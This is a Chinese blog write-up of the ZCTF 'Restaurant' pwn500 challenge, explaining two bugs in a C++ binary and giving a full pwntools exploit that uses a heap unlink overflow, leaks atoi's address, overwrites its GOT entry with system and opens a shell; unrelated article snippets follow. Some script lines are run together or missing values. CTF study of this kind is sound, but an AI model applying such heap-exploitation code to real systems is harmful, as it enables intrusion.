ZCTF-Restaurant-Pwn500
版权声明:本文为博主原创文章,未经博主允许不得转载。
这道压轴的题也是名副其实,很有分量。这也是自己第二次做C++类型的PWN。含有两个漏洞,缺一不可,一个漏洞将指定位置覆盖为对象虚表的地址,另外一个漏洞用来堆溢出(DW-Shoot)。
第一个漏洞所在位置:

第二个漏洞所在位置:如果连续对一种食物编辑评论,第二次则可以8字节的溢出,覆盖下一个堆块的堆头。

由于堆块在分配时的对齐策略,堆块分配后可以使用的内存可能比申请的要大。这道题目中,主食/主菜/汤都有3个种类,只有同时能选中主食的第二种,主菜的第二种才能溢出,而这个选择是随机的,POC所以并不能每次都成功,我这个POC成功的概率为1/9,其实多试几次就能顺利拿到shell。我大概试了3-4次就拿到了shell。上图:

from pwn import *
import time
#by wangaohui
#context.log_level = 'debug' s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('you are the luckey ')
heap = int(s.recvuntil('th guest.\n')[:-10])
print 'heapaddr is %x' %heap
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ');
vtp = 0x404710
data = 'a'*10 + '\x00' + 'a'*5 + '\x1c\x47\x40\x00'
s.sendline(data)
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!')
'''
s.recvuntil('8. Finish your order.')
s.sendline('3')
s.recvuntil('Successfully order a staple food, enjoy it!')
''' s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy') fakefd = heap + 0x20
fakebk = heap + 0x28
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6060A0)#atoi's got
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoiaddr = int(s.recvuntil('\n')[:-1])
print 'atoiaddr is: %x' % atoiaddr
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'systemaddr is: %x' % systemaddr appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
ZCTF-Restaurant-Pwn500的更多相关文章
- CodeForces - 261B Maxim and Restaurant
http://codeforces.com/problemset/problem/261/B 题目大意:给定n个数a1-an(n<=50,ai<=50),随机打乱后,记Si=a1+a2+a ...
- Flo's Restaurant[HDU1103]
Flo's Restaurant Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) ...
- Codeforces Testing Round #12 B. Restaurant 贪心
B. Restaurant Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/597/problem ...
- HDU-2368 Alfredo's Pizza Restaurant
http://acm.hdu.edu.cn/status.php Alfredo's Pizza Restaurant Time Limit: 1000/1000 MS (Java/Others) ...
- hdoj 4883 TIANKENG’s restaurant【贪心区间覆盖】
TIANKENG’s restaurant Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/65536 K (Java/O ...
- hdu2368Alfredo's Pizza Restaurant
Problem Description Traditionally after the Local Contest, judges and contestants go to their favour ...
- HDOJ 4883 TIANKENG’s restaurant
称号: TIANKENG's restaurant Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/65536 K (Ja ...
- Restaurant
Restaurant Time Limit:4000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I64u Submit ...
- 九校联考_24OI——餐馆restaurant
凉心模拟D1T1--最简单的一道题 TAT 餐馆(restaurant) 题目背景 铜企鹅是企鹅餐馆的老板,他正在计划如何使得自己本年度收益增加. 题目描述 共有n 种食材,一份食材i 需要花ti 小 ...
- Codeforces828 A. Restaurant Tables
A. Restaurant Tables time limit per test 1 second memory limit per test 256 megabytes input standard ...
随机推荐
- PHP HTTP
安装 HTTP 函数是 PHP 核心的组成部分.无需安装即可使用这些函数. PHP HTTP 函数 PHP:指示支持该函数的最早的 PHP 版本. 函数 描述 PHP header() 向客户端发送原 ...
- C++中的函数指针
寒假这些天在看<The C++ Programming Language, 3rd>. 今天看到Chapter7 Function,里头好一些东西是C语言里没有的,比如overload.p ...
- CURL_INIT()
private function http_curl($url,$data=null){ //1.初始化,创建一个新cURL资源 $ch = curl_init(); //2.设置URL和相应的选项 ...
- Input File 表单上传按钮美化
HTML <div class="input-file-button"> 上传图片<input type="file" class=" ...
- php生成table表格
function getTable($arrTh, $arrTr){ $s = '<table class="tbData">'; $s .= '<tr>' ...
- .net转php laraval框架学习系列(一) 环境搭建
之前也没写过什么博客,可能文章结构比较混乱,想到那写到哪. 主要是把自己学习中的经验写下来. 为什么选择laravel框架,是因为laravel框架目前是Php最流行的框架,深入研究后发现和asp.n ...
- SpringMVC——从HelloWorld
学习SpringMVC——从HelloWorld开始 前言: 时隔十二年,中国女排最终过关斩将,用3:1的成绩证明了自己的实力,霸气夺冠,为中国赢得了一枚意义非常的金牌.这是一次全民的狂欢,一场视 ...
- Android 之形状Drawable
形状Drawable资源允许使用 <shape>标记指定基本形状的尺寸.背景.轮廓线,从而定义这些基本形状. 每个形状都包含一个类型(通过shape属性指定).定义该形状尺寸的属性,以及指 ...
- IIS not allow PUT and DELETE method
refer : http://stackoverflow.com/questions/10906411/asp-net-web-api-put-delete-verbs-not-allowed-iis ...
- Delphi:窗体自适应屏幕分辨率(根据预设值的比例改变)
delphi 程序适应屏幕分辨率,先在表单单元的Interface部分定义两个常量, 表示设计时的屏幕的宽度和高度(以像素为单位). 在表单的Create事件中先判断 当前分辨率是否与设计分辨率相同, ...